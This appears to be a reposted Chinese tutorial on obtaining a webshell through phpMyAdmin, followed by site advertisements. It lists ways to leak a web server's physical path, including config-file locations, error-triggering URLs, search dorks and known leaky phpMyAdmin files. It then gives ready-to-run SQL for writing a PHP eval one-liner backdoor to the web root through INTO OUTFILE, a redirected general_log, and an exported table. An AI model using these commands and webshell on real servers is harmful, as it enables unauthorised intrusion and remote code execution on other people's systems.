phpMydmin的GetShell思路

栏目: IT技术 · 发布时间: 6年前

内容简介:phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库 。此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell查询数据库存储路径来推测网站物理路径,也可以通过log变量得到

phpMyadmin简介

phpMyadmin是一个以 PHP 为基础的 MySQL 数据库管理工具,使网站管理员可通过Web接口管理数据库 。

信息收集

此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell

物理路径

查询数据库存储路径来推测网站物理路径,也可以通过log变量得到

select @@datadir;

phpMydmin的GetShell思路

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件

# Windows
 c:\windows\php.ini                             # php配置文件
 c:\windows\system32\inetsrv\MetaBase.xml       # IIS虚拟主机配置文件
  # Linux
 /etc/php.ini                                   # php配置文件
 /etc/httpd/conf.d/php.conf
 /etc/httpd/conf/httpd.conf                     # Apache配置文件
 /usr/local/apache/conf/httpd.conf
 /usr/local/apache2/conf/httpd.conf
 /usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

www.abc.com/index.php?id=1

错误参数值爆路径:尝试将要提交的参数值改成错误值。

www.abc.com/index.php?id=-1

Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

www.abc.com/bg.jpg/x.php

Google爆路径

site:xxx.com warning
 site:xxx.com “fatal error”

测试文件爆路径

www.xxx.com/test.php
 www.xxx.com/ceshi.php
 www.xxx.com/info.php
 www.xxx.com/phpinfo.php
 www.xxx.com/php_info.php
 www.xxx.com/1.php

其它

phpMyAdmin/libraries/selectlang.lib.php 
 phpMyAdmin/darkblueorange/layout.inc.php
 phpmyadmin/themes/darkblue_orange/layout.inc.php
 phpMyAdmin/index.php?lang[]=1
 phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
 /phpmyadmin/libraries/lect_lang.lib.php
  /phpMyAdmin/phpinfo.php
 /phpmyadmin/themes/darkblue_orange/layout.inc.php
 /phpmyadmin/libraries/select_lang.lib.php
 /phpmyadmin/libraries/mcrypt.lib.php

其它信息

phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息

也可以通过 SQL 查询得到其它信息

select version();  -- 查看数据库版本
 select @@datadir;  -- 查看数据库存储路径
 show VARIABLES like '%char%';  -- 查看系统变量

GetShell

前提条件

网站真实路径。如果不知道网站真实路径则后续无法 通过URL的方式连shell

读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。 这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

select @@secure_file_priv   -- 查询secure_file_priv
 -- secure_file_priv=NULL,禁止导入导出
 -- secure_file_priv='',不限制导入导出
 -- secure_file_priv=/path/,只能向指定目录导入导出
  select load_file('c:/phpinfo.php');        -- 读取文件
 select '123' into outfile 'c:/shell.php';  -- 写入文件

常规GetShell

直接通过SQL查询写入shell

-- 假设物理路径为 "G:\phpStudy\WWW"
 select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';

日志GetShell

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量

show variables like '%general%';
  Variable_name     Value
 general_log       OFF
 general_log_file  G:\phpStudy\MySQL\data\FengSec.log

general_log:日志保存状态

general_log_file:日志保存路径

开启日志保存并配置保存路径

set global general_log = "ON";    -- 打开日志保存
 set global general_log_file = "G:/phpstudy/WWW/log.php";  -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了 Shell 也无法通过URL连接

写shell

select '<?php eval($_POST[pwd]); ?>';

新表GetShell

进入一个数据库,新建数据表。

名字随意,这里为shell_table

字段数填1

phpMydmin的GetShell思路

添加字段

字段名任意,这里为xiaoma

字段类型为TEXT

phpMydmin的GetShell思路

在该表中点击插入,值为一句话木马

<?php eval($_POST[pwd]); ?>'

phpMydmin的GetShell思路

执行SQL查询,将该表中的内容导出到指定文件

-- 假设物理路径为 "G:\phpStudy\WWW"
 select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

phpMydmin的GetShell思路


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

网络英雄传

网络英雄传

郭羽、刘波 / 江苏凤凰文艺出版社 / 2018-6 / 59.80元

“商战鬼才郭羽、营销奇才刘波强强联手,凝集十年实战经验,倾力打造商战巨作。” 这是一个商业竞争和资本激战交织的惊心动魄的创业交锋故事。 由郭天宇、刘帅共同创立的在线旅游公司万全天盛凭借其出色的商业模式异军突起,与老牌巨头“51旅游网”两强相争,但国际巨头通远来势汹汹,国内在线旅游市场进入战火纷飞的“三国杀”时代,分踞杭、沪、京三地互相“搏杀”。中国新兴的互联网公司面对国际巨头的入侵,毫不退缩......一起来看看 《网络英雄传》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

html转js在线工具
html转js在线工具

html转js在线工具